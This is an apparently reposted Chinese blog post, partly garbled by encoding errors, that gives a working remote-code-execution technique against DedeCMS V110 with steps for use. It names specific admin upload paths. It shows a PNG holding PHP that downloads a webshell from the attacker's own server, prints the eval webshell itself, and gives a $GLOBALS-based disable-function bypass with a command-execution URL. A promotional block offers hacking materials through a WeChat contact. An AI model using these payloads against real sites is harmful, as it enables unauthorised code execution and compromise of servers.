前言
剛發(fā)現(xiàn)Dedecms更新了發(fā)布版本，順便測(cè)試一下之前的day有沒(méi)有修復(fù)，突然想到了新的tricks去實(shí)現(xiàn)RCE。
文章發(fā)布的時(shí)候估計(jì)比較晚了，一直沒(méi)時(shí)間寫了。
利用
/uploads/dede/article_string_mix.php
/uploads/dede/article_template_rand.php
/uploads/dede/sys_task.php
......我發(fā)布的文檔->>>>添加文檔->>>>站內(nèi)選擇進(jìn)行文件上傳
/uploads/dede/content_list.php](http://dedecms.xyz:8066/uploads/dede/content_list.php?mid=1)
/uploads/dede/catalog_do.php?channelid=0&cid=0&dopost=addArchives文件上傳
在vps上起一個(gè)http的服務(wù)，端口設(shè)置為8016
遠(yuǎn)程服務(wù)器存放shell.php，文件內(nèi)容為
<?php @eval ($_POST ['a']);?>準(zhǔn)備一個(gè)圖片格式的文件,文件內(nèi)容為，這里我上傳的文件名稱為f.png
<? copy("http://192.168.225.40:8016/shell.php","shell.php");?>上傳成功后可以看到上傳的圖片的位置
修改文件名為b.php
保存發(fā)現(xiàn)png圖片已成功被更改，訪問(wèn)b.php,從遠(yuǎn)程vps下載了shell.php，當(dāng)前目錄下存在一個(gè)名稱為shell.php的木馬文件
利用webshell進(jìn)行命令執(zhí)行。
成功執(zhí)行了命令
【----幫助網(wǎng)安學(xué)習(xí)，以下所有學(xué)習(xí)資料免費(fèi)領(lǐng)！加vx：yj009991，備注 “博客園” 獲?。 ?/p>
?、?網(wǎng)安學(xué)習(xí)成長(zhǎng)路徑思維導(dǎo)圖
?、?60+網(wǎng)安經(jīng)典常用工具包
?、?100+SRC漏洞分析報(bào)告
?、?150+網(wǎng)安攻防實(shí)戰(zhàn)技術(shù)電子書
⑤ 最權(quán)威CISSP 認(rèn)證考試指南+題庫(kù)
?、?超1800頁(yè)CTF實(shí)戰(zhàn)技巧手冊(cè)
⑦ 最新網(wǎng)安大廠面試題合集（含答案）
?、?APP客戶端安全檢測(cè)指南（安卓+IOS）
思考
如果不考慮文件上傳后綴名繞過(guò)方法，僅以上面圖片格式的文件上傳的話，那么無(wú)所謂上傳的什么內(nèi)容，因?yàn)楸旧韥?lái)講dede的代碼中對(duì)文件內(nèi)容是做的有校驗(yàn)的
所以文件內(nèi)有兩種繞過(guò)方法
-
正則繞過(guò)
-
disable函數(shù)繞過(guò)
簡(jiǎn)單搜索了一下各個(gè)平臺(tái)的文章，其實(shí)是有師傅正則繞過(guò)實(shí)現(xiàn)webshell的。第二點(diǎn)兒，disable函數(shù)繞過(guò)，往前幾個(gè)版本，有興趣的可以看一下源碼，之前利用全局變量Globals繞過(guò)
代碼內(nèi)容
<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['test1']($b['test2'])
?>命令執(zhí)行
http://dedecms.org:8016/uploads/shell.php?test1=assert&&test2=system(%22ipconfig%22);
成功執(zhí)行命令,且該命令執(zhí)行為未授權(quán)命令執(zhí)行。
所以在官方前幾個(gè)版本中已經(jīng)更新了，添加進(jìn)了禁用方法
所以在繞過(guò)禁用方法上來(lái)講更容易一點(diǎn)兒。所以在利用上這里利用了copy函數(shù)的特性，那么這里提醒一下，其它的函數(shù)當(dāng)然也可以滿足效果。
更多網(wǎng)安技能的在線實(shí)操練習(xí)，請(qǐng)點(diǎn)擊這里>>文章來(lái)源：http://www.zghlxwxcb.cn/news/detail-647059.html
?文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-647059.html
到了這里，關(guān)于Dedecms V110最新版RCE---Tricks的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
